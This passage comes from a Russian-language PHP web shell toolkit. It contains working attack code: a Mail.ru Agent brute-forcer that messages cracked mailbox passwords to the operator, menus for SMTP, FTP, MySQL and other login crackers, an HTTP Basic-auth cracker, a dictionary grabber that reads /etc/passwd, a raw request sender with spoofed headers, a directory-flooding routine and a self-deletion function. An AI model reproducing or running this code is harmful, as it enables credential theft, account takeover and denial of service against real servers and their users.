  2866. $login_data = pack('L1',strlen($login)).$login.pack('L1',strlen($pass)).$pass."\x01\x00\x00\x00".pack('L1',strlen($user_agent)).$user_agent;
  2867. $mrim_login = $magic.$proto.pack("L1", $mnumb)."\x38\x10\x00\x00".pack('L1',strlen($login_data))."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".$login_data;
  2868. fputs($socket,$mrim_login);
  2869. $answ=fread($socket, 1024);
  2870. $mnumb++;
  2871. if (!strstr($answ,"Invalid login") && !empty($answ) && !strstr($answ,"Access denied")) {
  2872. if (!empty($_REQUEST['sendto'])) {
  2873. $to=$_REQUEST['sendto'];
  2874. $text="Сбручен ящик ".$login."\r\nПароль: ".$pass;
  2875. $data = "\x04\x00\x00\x00".pack ('L1', strlen($to)).$to.pack ('L1', strlen($text)).$text.pack ('L1', '0');
  2876. $mrim_packet = $magic.$proto.pack("L1", $mnumb)."\x08\x10\x00\x00".pack('L1',strlen($data))."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".$data;
  2877. fputs($socket,$mrim_packet);
  2878. }
  2879. return true;
  2880. } else {
  2881. return false;
  2882. }
  2883. unset ($answ);
  2884. fclose($socket);
  2885. }
  2886. function mrabrute(){
  2887. global $msgbox,$et;
  2888. if (!isset($_REQUEST['mbr']) || empty ($_REQUEST['mbr'])) {
  2889. echo $msgbox."<form action=\"".$_SERVER['PHP_SELF']."?sec=mbr&workingdir=".getcwd()."\" method=post>Введите ящики в виде ящик:пароль на строку.<br><textarea rows=20 cols=50 name=mbr></textarea><br><br>Путь к файлу для сохранения хороших комбинаций.<br>Если не существует - будет создан. Иначе - перезаписан.<br>Поле можно оставить пустым.<br>Файл: <input type=text name=mrafile><br>Ваш ящик агента (должна стоять галочка \"принимать сообщения от всех\")<br>(На него прийдут результаты. Можно оставить пустым.):<br><input type=text name=sendto><br><input type=submit value=Старт></form><br>".$et;
  2890. } else {
  2891. $filegood=$_REQUEST['mrafile'];
  2892. if (!empty($filegood)) {
  2893. $fp=@fopen($filegood,"w+");
  2894. $nums=$_REQUEST['mbr'];
  2895. $arr=explode("\r\n",$nums);
  2896. echo "<meta http-equiv='refresh' content='0; URL=".$_SERVER['PHP_SELF']."'>\r\n<script>location.href='".$_SERVER['PHP_SELF']."'</script><a href='".$_SERVER['PHP_SELF']."'>Нажмите сюда</a>";
  2897. flusher();
  2898. for ($i=0; $i<count($arr); $i++) {
  2899. list($mail,$password)=explode(":",$arr[$i]);
  2900. if (mralogin($mail,$password)) { fputs($fp,$mail.":".$password."\r\n"); }
  2901. }
  2902. fclose($fp);
  2903. } else {
  2904. $nums=$_REQUEST['mbr'];
  2905. $arr=explode("\r\n",$nums);
  2906. echo $msgbox."<br>Сбрученные ящики<br>";
  2907. flusher();
  2908. for ($i=0; $i<count($arr); $i++) {
  2909. list($mail,$password)=explode(":",$arr[$i]);
  2910. if (mralogin($mail,$password)) {
  2911. echo $mail.":".$password."<br>";
  2912. flusher();
  2913. }}
  2914. echo $et;
  2915. }}
  2916. }
  2917. function cracker(){
  2918. global $et;
  2919. $cwd = getcwd();
  2920. echo "<center><table border=0><tr><td><a href=\"".hlink("sec=hc&workingdir=$cwd")."\">[Hash]</a> - <a href=\"".hlink("sec=smtp&workingdir=$cwd")."\">[SMTP]</a> - <a href=\"".hlink("sec=pop3&workingdir=$cwd")."\">[POP3]</a> - <a href=\"".hlink("sec=imap&workingdir=$cwd")."\">[IMAP]</a> - <a href=\"".hlink("sec=ftp&workingdir=$cwd")."\">[FTP]</a> - <a href=\"".hlink("sec=snmp&workingdir=$cwd")."\">[SNMP]</a> - <a href=\"".hlink("sec=sql&workingdir=$cwd")."\">[MySQL]</a> - <a href=\"".hlink("sec=fcr&workingdir=$cwd")."\">[HTTP форма]</a> - <a href=\"".hlink("sec=auth&workingdir=$cwd")."\">[HTTP авторизация (basic)]</a> - <a href=\"".hlink("sec=code&workingdir=$cwd")."\">[Шифровка и дешивровка текста]</a> - <a href=\"".hlink("sec=icq&workingdir=$cwd")."\">[ICQ брут]</a> - <a href=\"".hlink("sec=mbr&workingdir=$cwd")."\">[MRA брут]</a> - <a href=\"".hlink("sec=dic&workingdir=$cwd")."\">[Генератор словарей]</a>$et</center>";
  2921. }
  2922. function tools(){
  2923. global $et;
  2924. $cwd = getcwd();
  2925. echo "<center><table border=0><tr><td><a href=\"".hlink("sec=http&workingdir=$cwd")."\">[InetCrack (HTTP)]</a> - <a href=\"".hlink("sec=fflooder&workingdir=$cwd")."\">[Файловый флудер]</a> - <a href=\"".hlink("sec=prc&workingdir=$cwd")."\">[Прокси-чекер]</a> - <a href=\"".hlink("sec=whois&workingdir=$cwd")."\">[Whois]</a> - <a href=\"".hlink("sec=cryptphp&workingdir=$cwd")."\">[PHP криптор]</a> - <a href=\"".hlink("sec=calc&workingdir=$cwd")."\">[Convert]</a> - <a href=\"".hlink("sec=hash&workingdir=$cwd")."\">[Hash Calc]</a> - <a href=\"".hlink("sec=selfremove&workingdir=.")."\">[Самоудаление]</a>$et</center>";
  2926. }
  2927. function asc2bin($str) {
  2928. $text_array = explode("\r\n", chunk_split($str, 1));
  2929. for ($n = 0; $n < count($text_array) - 1; $n++) {
  2930. $newstring .= substr("0000".base_convert(ord($text_array[$n]), 10, 2), -8);
  2931. }
  2932. $newstring = chunk_split($newstring, 8, " ");
  2933. return $newstring;
  2934. }
  2935. function bin2asc($str) {
  2936. $str = str_replace(" ", "", $str);
  2937. $text_array = explode("\r\n", chunk_split($str, 8));
  2938. for ($n = 0; $n < count($text_array) - 1; $n++) {
  2939. $newstring .= chr(base_convert($text_array[$n], 2, 10));
  2940. }
  2941. return $newstring;
  2942. }
  2943. function asc2hex($str) {
  2944. return chunk_split(bin2hex($str), 2, " ");
  2945. }
  2946. function hex2asc($str) {
  2947. $str = str_replace(" ", "", $str);
  2948. for ($n=0; $n<strlen($str); $n+=2) {
  2949. $newstring .= pack("C", hexdec(substr($str, $n, 2)));
  2950. }
  2951. return $newstring;
  2952. }
  2953. function binary2hex($str) {
  2954. $str = str_replace(" ", "", $str);
  2955. $text_array = explode("\r\n", chunk_split($str, 8));
  2956. for ($n = 0; $n < count($text_array) - 1; $n++) {
  2957. $newstring .= str_pad(base_convert($text_array[$n], 2, 16), 2, "0", STR_PAD_LEFT);
  2958. }
  2959. $newstring = chunk_split($newstring, 2, " ");
  2960. return $newstring;
  2961. }
  2962. function hex2binary($str) {
  2963. $str = str_replace(" ", "", $str);
  2964. $text_array = explode("\r\n", chunk_split($str, 2));
  2965. for ($n = 0; $n < count($text_array) - 1; $n++) {
  2966. $newstring .= substr("0000".base_convert($text_array[$n], 16, 2), -8);
  2967. }
  2968. $newstring = chunk_split($newstring, 8, " ");
  2969. return $newstring;
  2970. }
  2971. function caesarbf($str) {
  2972. $alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  2973. echo "<table width=\"85%\" cellpadding=\"2\" align=\"center\">\n";
  2974. for ($n = 1; $n < 26; $n++) {
  2975. $cipher = substr($alpha, $n, 26 - $n) . substr($alpha, 0, $n) . substr($alpha, 26+$n, 52-$n) . substr($alpha, 26, $n);
  2976. if ($n % 2 == 0) {
  2977. echo '<tr bgcolor="#eeeeee">';
  2978. } else {
  2979. echo '<tr bgcolor="#cccccc">';
  2980. }
  2981. echo "<td>ROT-$n: ". strtr($str, $alpha, $cipher) ."</td>";
  2982. }
  2983. echo "<tr>\n";
  2984. echo "</table>\n";
  2985. }
  2986. function entityenc($str) {
  2987. $text_array = explode("\r\n", chunk_split($str, 1));
  2988. for ($n = 0; $n < count($text_array) - 1; $n++) {
  2989. $newstring .= "&#" . ord($text_array[$n]) . ";";
  2990. }
  2991. return $newstring;
  2992. }
  2993. function entitydec($str) {
  2994. $str = str_replace(';', '; ', $str);
  2995. $text_array = explode(' ', $str);
  2996. for ($n = 0; $n < count($text_array) - 1; $n++) {
  2997. $newstring .= chr(substr($text_array[$n], 2, 3));
  2998. }
  2999. return $newstring;
  3000. }
  3001. function l33t($str) {
  3002. $from = 'ieastoIEASTO';
  3003. $to = '134570134570';
  3004. $newstring = strtr($str, $from, $to);
  3005. return $newstring;
  3006. }
  3007. function del33t($str) {
  3008. $from = '134570';
  3009. $to = 'ieasto';
  3010. $newstring = strtr($str, $from, $to);
  3011. return $newstring;
  3012. }
  3013. function igpay($str) {
  3014. $text_array = explode(" ", $str);
  3015. for ($n = 0; $n < count($text_array); $n++) {
  3016. $newstring .= substr($text_array[$n], 1) . substr($text_array[$n], 0, 1) . "ay ";
  3017. }
  3018. return $newstring;
  3019. }
  3020. function unigpay($str) {
  3021. $text_array = explode(" ", $str);
  3022. for ($n = 0; $n < count($text_array); $n++) {
  3023. $newstring .= substr($text_array[$n], -3, 1) . substr($text_array[$n], 0, strlen($text_array[$n]) - 3) . " ";
  3024. }
  3025. return $newstring;
  3026. }
  3027. function rot13($str) {
  3028. $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  3029. $to = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';
  3030. $newstring = strtr($str, $from, $to);
  3031. return $newstring;
  3032. }
  3033. function strip_spaces($str) {
  3034. $str = str_replace(" ", "", $str);
  3035. return $str;
  3036. }
  3037. function code() {
  3038. global $et;
  3039. $cwd = getcwd();
  3040. echo "<center><table border=0><tr><td>";
  3041. if(isset($_REQUEST['submit'])) {
  3042. $text = $_REQUEST['text'];
  3043. if($text == '') {
  3044. die("<p>Заполните форму!</p>\n");
  3045. }
  3046. $text = urldecode(stripslashes($text));
  3047. $orig_text = $text;
  3048. $orig_text = htmlentities($orig_text);
  3049. echo("<p>$orig_text<br>конвертируется в:<br>\n");
  3050. switch ($_POST['cryptmethod']) {
  3051. case "asc2bin":
  3052. $text = asc2bin($text);
  3053. break;
  3054. case "asc2hex":
  3055. $text = asc2hex($text);
  3056. break;
  3057. case "bin2asc":
  3058. $text = bin2asc($text);
  3059. break;
  3060. case "hex2asc":
  3061. $text = hex2asc($text);
  3062. break;
  3063. case "bin2hex":
  3064. $text = binary2hex($text);
  3065. break;
  3066. case "hex2bin":
  3067. $text = hex2binary($text);
  3068. break;
  3069. case "backwards":
  3070. $text = strrev($text);
  3071. break;
  3072. case 'b64enc':
  3073. $text = base64_encode($text);
  3074. break;
  3075. case 'b64dec':
  3076. $text = base64_decode(strip_spaces($text));
  3077. break;
  3078. case 'caesarbf':
  3079. $text = caesarbf($text);
  3080. break;
  3081. case 'crypt':
  3082. $text = crypt($text, 'CRYPT_STD_DES');
  3083. break;
  3084. case 'entityenc':
  3085. $text = entityenc($text);
  3086. break;
  3087. case 'entitydec':
  3088. $text = entitydec($text);
  3089. break;
  3090. case "l33t":
  3091. $text = l33t($text);
  3092. break;
  3093. case "del33t":
  3094. $text = del33t($text);
  3095. break;
  3096. case 'md5':
  3097. $text = md5($text);
  3098. break;
  3099. case 'igpay':
  3100. $text = igpay($text);
  3101. break;
  3102. case 'unigpay':
  3103. $text = unigpay($text);
  3104. break;
  3105. case "rot-13":
  3106. $text = rot13($text);
  3107. break;
  3108. case 'urlenc':
  3109. $text = urlencode($text);
  3110. break;
  3111. case 'urldec':
  3112. $text = urldecode($text);
  3113. break;
  3114. default:
  3115. die("Тип не поддерживается!</p>\n");
  3116. }
  3117. $text = htmlentities($text);
  3118. echo("$text</p>\n");
  3119. }
  3120. $form="<form action=\"".hlink("sec=hash&workingdir=$cwd")."\" method=\"post\">
  3121. <textarea name=\"text\" rows=\"5\" cols=\"50\">";
  3122. if (isset($orig_text)) { $form.=$orig_text; }
  3123. $form.="</textarea><br />
  3124. <select name=\"cryptmethod\">
  3125. <option value=\"asc2bin\">ASCII to Binary</option>
  3126. <option value=\"bin2asc\">Binary to ASCII</option>
  3127. <option value=\"asc2hex\">ASCII to Hex</option>
  3128. <option value=\"hex2asc\">Hex to ASCII</option>
  3129. <option value=\"bin2hex\">Binary to Hex</option>
  3130. <option value=\"hex2bin\">Hex to Binary</option>
  3131. <option value=\"backwards\">Backwards</option>
  3132. <option value=\"b64enc\">Base 64 Encode</option>
  3133. <option value=\"b64dec\">Base 64 Decode</option>
  3134. <option value=\"caesarbf\">Caesar Bruteforce</option>
  3135. <option value=\"crypt\">DES Crypt (one way)</option>
  3136. <option value=\"entityenc\">HTML Entities Encode</option>
  3137. <option value=\"entitydec\">HTML Entities Decode</option>
  3138. <option value=\"l33t\">l33t 5p34k 3nc0d3</option>
  3139. <option value=\"del33t\">l33t 5p34k d3c0d3</option>
  3140. <option value=\"md5\">MD5 Crypt (one way)</option>
  3141. <option value=\"igpay\">Igpay Atinlay</option>
  3142. <option value=\"unigpay\">Un-Pig Latin</option>
  3143. <option value=\"rot-13\">ROT-13</option>
  3144. <option value=\"urlenc\">URL Encode</option>
  3145. <option value=\"urldec\">URL Decode</option>
  3146. </select><br />
  3147. <input type=\"submit\" name=\"submit\" value=\"OK\" />
  3148. <input type=\"reset\" value=\"Очистить\" />
  3149. </form>";
  3150. echo $form.$et;
  3151. }
  3152. function http() {
  3153. global $et;
  3154. $cwd = getcwd();
  3155. echo "<center><table border=0><tr><td>\r\n";
  3156. ?>
  3157. <script>
  3158. function format() {
  3159. var ff=document.forms.item('form');
  3160. host=ff.host.value;
  3161. path=ff.path.value;
  3162. method=ff.method.value;
  3163. vars=ff.vars.value;
  3164. cookies=ff.cookies.value;
  3165. agent=ff.agent.value;
  3166. referer=ff.referer.value;
  3167. xff=ff.xff.value;
  3168. document.main.host.value=host;
  3169. if (method == 'GET') {
  3170. f='GET '+path+'?'+vars+' HTTP/1.1\r\n';
  3171. } else {
  3172. f='POST '+path+' HTTP/1.1\r\n';
  3173. }
  3174. f+='Accept: */*\r\n';
  3175. f+='Accept-Language: ru\r\n';
  3176. f+='Accept-Encoding: gzip\r\n';
  3177. if (referer != '') {
  3178. f+='Referer: '+referer+'\r\n';
  3179. }
  3180. if (method == 'POST') {
  3181. f+='Content-Type: application/x-www-form-urlencoded\r\n';
  3182. f+='Content-Length: '+vars.length+'\r\n';
  3183. }
  3184. if (xff != '') {
  3185. f+='X-Forwarded-For: '+xff+'\r\n';
  3186. }
  3187. f+='User-Agent: '+agent+'\r\n';
  3188. f+='Host: '+host+'\r\n';
  3189. if (cookies != '') {
  3190. f+='Cookie: '+cookies+'\r\n';
  3191. }
  3192. f+='Connection: Keep-Alive\r\n';
  3193. if (method == 'POST') {
  3194. if (vars == '') {
  3195. f+='\r\n';
  3196. } else {
  3197. f+='\r\n'+vars;
  3198. }
  3199. } else {
  3200. f+='\r\n';
  3201. }
  3202. document.main.pac.value=f;
  3203. }
  3204. </script>
  3205. <noscript><center><h2>Включите JavaScript для нормальной работы скрипта</h2></center></noscript>
  3206. <h3>Формирование запроса</h3>
  3207. <form name="form" action="javascript://" onSubmit="format();" onClick="format();" onKeyPress="format();">
  3208. <table width="500">
  3209. <tr>
  3210. <td>Хост:</td><td><input type="text" name="host" value="site.ru" onChange="format();" size="50" /></td>
  3211. </tr>
  3212. <tr>
  3213. <td>Путь:</td><td><input type="text" name="path" value="/index.php" onChange="format();" size="50" /></td>
  3214. </tr>
  3215. <tr>
  3216. <td>Метод:</td><td><input type="radio" name="met" value="GET" checked="checked" onClick="document.form.method.value='GET';" /> GET <input type="radio" name="met" value="POST" onClick="document.form.method.value='POST';" /> POST<input type="hidden" name="method" value="GET" /></td>
  3217. </tr>
  3218. <tr>
  3219. <td>Переменные:</td><td><input type="text" name="vars" onChange="format();" size="50" /></td>
  3220. </tr>
  3221. <tr>
  3222. <td>Cookies:</td><td><input type="text" name="cookies" onChange="format();" size="50" /></td>
  3223. </tr>
  3224. <tr>
  3225. <td>User-Agent:</td><td><input type="text" name="agent" value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" onChange="format();" size="50" /></td>
  3226. </tr>
  3227. <tr>
  3228. <td>Referer:</td><td><input type="text" name="referer" onChange="format();" size="50" /></td>
  3229. </tr>
  3230. <tr>
  3231. <td>X-Forwarded-For:</td><td><input type="text" name="xff" onChange="format();" size="50" /></td>
  3232. </tr>
  3233. <tr>
  3234. <td>&nbsp;</td><td><input type="submit" value="Сформировать запрос" /></td>
  3235. </tr>
  3236. </table>
  3237. </form>
  3238. <form name="main" action="<?=hlink("sec=http&workingdir=$cwd"); ?>&send=1" method="post">
  3239. Хост:<br />
  3240. <input type="text" name="host" value="" /><br />
  3241. Запрос:<br />
  3242. <textarea name="pac" rows="10" cols="50"></textarea><br />
  3243. Добавлять htmlspecialchars() к ответу сервера<br />(для ламеров - выводить ответ в виде текста, а не HTML) <input type="checkbox" checked="checked" name="hsc" /><br />
  3244. <input type="submit" value="Послать пакет" />
  3245. </form>
  3246. <?
  3247. if ($_GET['send'] == '1' && !empty($_POST['host']) && !empty($_POST['pac'])) {
  3248. echo "<br><br>Ответ сервера:<br><hr>";
  3249. list($host,$port)=explode(":",$_POST['host']);
  3250. if (!isset($port) or empty($port)) {
  3251. unset($port);
  3252. $port=80;
  3253. }
  3254. if (!$socket=@fsockopen($host,$port,$en,$es,"3")) {
  3255. echo "<h2>Нет связи с сервером!</h2>";
  3256. exit();
  3257. }
  3258. fputs($socket,stripslashes($_POST['pac']));
  3259. $get="";
  3260. while (!feof($socket)) { $get.=fgets($socket,32); }
  3261. fclose($socket);
  3262. if (isset($_POST['hsc'])) { $get=htmlspecialchars($get); }
  3263. $get=nl2br($get);
  3264. echo "<br>\r\n<div style=\"margin: 0px;padding: 7px;border: 1px inset;width: 640px;height: 480px;overflow: auto;background-color: #C0C0C0;color: #000000\">";
  3265. echo $get."\r\n";
  3266. echo "</div>\r\n";
  3267. echo "<hr>\r\n";
  3268. }
  3269. echo $et."</center>";
  3270. }
  3271. function fflooder() {
  3272. global $et;
  3273. $cwd = getcwd();
  3274. echo "<center><table border=0><tr><td>\r\n";
  3275. if (!isset($_REQUEST['confirm'])) {
  3276. echo "<script>
  3277. if (confirm('Файловый флудер. Точно хотите забить папку сгенерированными файлами?')) {
  3278. location.href='".hlink("sec=fflooder&workingdir=$cwd&confirm=1")."';
  3279. }
  3280. </script>$et";
  3281. }
  3282. if (isset($_REQUEST['confirm'])) {
  3283. $name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s',
  3284. 't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L',
  3285. 'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6',
  3286. '7','8','9','0');
  3287. $rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
  3288. '.bat','.log','.dll','.hak','.wmf','.zip','.rar',
  3289. '.tar','.gz','.jpg','.gif','.bmp');
  3290. while(true) {
  3291. $perem = "";
  3292. $fuck="";
  3293. for($i = 0; $i < rand(20,1); $i++)
  3294. {
  3295. $by = rand(0, count($name) - 1);
  3296. $perem .= $name[$by];
  3297. }
  3298. $ra= rand(0, count($rash)-1);
  3299. $fuck .= $rash[$ra];
  3300. $fp=fopen($perem.$fuck,"w");
  3301. fwrite($fp,str_repeat(php_uname(),20));
  3302. fclose($fp);
  3303. }
  3304. }
  3305. }
  3306. function selfremove() {
  3307. global $et;
  3308. echo "<center><table border=0><tr><td>\r\n";
  3309. if (!isset($_REQUEST['confirm'])) {
  3310. echo "<script>
  3311. if (confirm('Вы уверены, что хотите удалить меня? :\'(')) {
  3312. location.href='".hlink("sec=selfremove&confirm=1")."';
  3313. }
  3314. </script>$et";
  3315. }
  3316. if (isset($_REQUEST['confirm'])) {
  3317. unlink($_SERVER['SCRIPT_FILENAME']);
  3318. echo "<script>alert('Готово!');</script>";
  3319. }
  3320. }
  3321. function dicmaker(){
  3322. global $errorbox,$windows,$footer,$t,$et,$hcwd;
  3323. if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
  3324. if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
  3325. $min = $_REQUEST['min'];
  3326. $max = $_REQUEST['max'];
  3327. if($max<$min)die($errorbox ."Неверный ввод!$et". $footer);
  3328. $s =$w="";
  3329. $out = $_REQUEST['output'];
  3330. $r = ($_REQUEST['range']=='a' )?'a':'A';
  3331. if ($_REQUEST['range']==0) $r=0;
  3332. for($i=0;$i<$min;$i++) $s.=$r;
  3333. $dic = fopen($out,'a');
  3334. if(is_nan($r)){
  3335. while(strlen($s)<=$max){
  3336. $w = $s;
  3337. if($combo)$w="$w:$w";
  3338. fwrite($dic,$w."\n");
  3339. $s++;}
  3340. }
  3341. else{
  3342. while(strlen($w)<=$max){
  3343. $w =(string)str_repeat("0",($min - strlen($s))).$s;
  3344. if($combo)$w="$w:$w";
  3345. fwrite($dic,$w."\n");
  3346. $s++;}
  3347. }
  3348. fclose($dic);
  3349. echo "<font color=blue>Готово!</font>";
  3350. }
  3351. if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
  3352. $input=fopen($_REQUEST['input'],'r');
  3353. if (!$input){
  3354. if ($windows)echo $errorbox. "Невозможно считать с ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
  3355. else{
  3356. $input=explode("\n",shell("cat $input"));
  3357. $output=fopen($_REQUEST['output'],'w');
  3358. if ($output){
  3359. foreach ($input as $in){
  3360. $user = $in;
  3361. $user = trim(fgets($in)," \n\r");
  3362. if (!strstr($user,":"))continue;
  3363. $user=substr($user,0,(strpos($user,':')));
  3364. if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
  3365. }
  3366. fclose($input);fclose($output);
  3367. echo "<font color=blue>Готово!</font>";
  3368. }
  3369. }
  3370. }
  3371. else{
  3372. $output=fopen($_REQUEST['output'],'w');
  3373. if ($output){
  3374. while (!feof($input)){
  3375. $user = trim(fgets($input)," \n\r");
  3376. if (!strstr($user,":"))continue;
  3377. $user=substr($user,0,(strpos($user,':')));
  3378. if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
  3379. }
  3380. fclose($input);fclose($output);
  3381. echo "<font color=blue>Готово!</font>";
  3382. }
  3383. else echo $errorbox." Невозможно записать в ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
  3384. }
  3385. }elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
  3386. $res=downloadit($_REQUEST['url'],$_REQUEST['output']);
  3387. if($combo && $res){
  3388. $file=file($_REQUEST['output']);
  3389. $output=fopen($_REQUEST['output'],'w');
  3390. foreach ($file as $v)fwrite($output,"$v:$v\n");
  3391. fclose($output);
  3392. }
  3393. echo "<font color=blue>Готово!</font>";
  3394. }else{
  3395. $temp=whereistmp();
  3396. echo "<center>${t}Генератор слов:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">Промежуток:</td><td><select name=range><option value=a>a-z</option><option value=Z>A-Z</option><option value=0>0-9</option></select></td></tr><tr><td width=\"20%\">Мин. длина:</td><td><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width=\"20%\">Макс. длина:</td><td><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width=\"20%\">Сохранить в:</td><td><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\"></td><td><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Вывод в Combo-стиле</td></tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=Создать></td></tr></form></table><br>${t}Сграбить словарь:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">Откуда:</td><td><input type=text value=\"/etc/passwd\" name=input size=35></td></tr><tr><td width=\"20%\">Сохранить в:</td><td><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\"></td><td><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Вывод в Combo-стиле</td></tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=Сграбить></td></tr></form></table><br>${t}Загрузить словарь:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">URL:</td><td><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr><tr><td width=\"20%\">Сохранить в:</td><td><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\"></td><td><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Вывод в Combo-стиле</td></tr><tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=Загрузить></td></tr></form></table></center>";}
  3397. }
  3398. function calc(){
  3399. global $t,$et,$hcwd;
  3400. $fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode');
  3401. if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
  3402. echo "<center>${t}Вывод:<br><textarea rows=\"10\" cols=\"64\">";
  3403. if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i<strlen($_REQUEST['input']);$i++)echo strtoupper(dechex(ord($_REQUEST['input']{$i})));
  3404. echo "</textarea>$et</center><br>";
  3405. }
  3406. echo "<center>${t}Конвертер:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">Ввод:</td><td><textarea rows=\"10\" name=\"input\" cols=\"64\">";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width=\"20%\">Задание:</td><td><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>crc32</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=hex>HEX</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width=\"20%\"></td><td align=right><input class=buttons type=submit value=Конвертировать></td></tr>$hcwd</form></table></center>";
  3407. }
  3408. function authcracker(){
  3409. global $errorbox,$et,$t,$crack,$hcwd;
  3410. if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  3411. $data='';
  3412. $method=($_REQUEST['method'])?'POST':'GET';
  3413. if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
  3414. list($host)=explode("/",$_REQUEST['target']);
  3415. $page=substr($_REQUEST['target'],strpos($_REQUEST['target'],"/")+1);
  3416. $type=$_REQUEST['combo'];
  3417. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  3418. if($method='GET')$page.=$data;
  3419. $dictionary=fopen($_REQUEST['dictionary'],'r') or exit('Dictionary error');
  3420. echo "<font color=blue>";
  3421. while(!feof($dictionary)){
  3422. if($type){
  3423. $combo=trim(fgets($dictionary)," \r\n");
  3424. $user=substr($combo,0,strpos($combo,':'));
  3425. $pass=substr($combo,strpos($combo,':')+1);
  3426. }else{
  3427. $pass=trim(fgets($dictionary)," \n\r");
  3428. }
  3429. $so=fsockopen($host,80,$en,$es,8);
  3430. if(!$so){echo "$errorbox Нет связи$et";break;}
  3431. else{
  3432. $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
  3433. if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
  3434. $packet.="\r\n\r\n";
  3435. $packet.=$data;
  3436. fputs($so,$packet);
  3437. $res=substr(fgets($so),9,2);
  3438. fclose($so);
  3439. if($res=='20')echo "U: $user P: $pass</br>";
  3440. flusher();
  3441. }
  3442. }
  3443. echo "Готово!</font>";
  3444. }else echo "<center><form method=\"POST\" name=form>${t}Брут HTTP-авторизации:</td><td><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\">Словарь:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">Тип словаря:</td><td><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\">Имя:</td><td><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\">Сервер:</td><td><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\"></td><td align=right>$hcwd<input class=buttons type=submit value=Старт></td></tr></form></table></center>";
  3445. }
  3446. function sqlcracker(){
  3447. global $errorbox,$t,$et,$crack;
  3448. if (!function_exists("mysql_connect")){
  3449. echo "$errorbox Server does not support MySQL$et";
  3450. }
  3451. else{
  3452. if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
  3453. $target=$_REQUEST['target'];
  3454. $type=$_REQUEST['combo'];
  3455. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
  3456. $dictionary=fopen($_REQUEST['dictionary'],'r');
  3457. if ($dictionary){
  3458. echo "<font color=blue>Ломаем ".htmlspecialchars($target)."...<br>";
  3459. while(!feof($dictionary)){
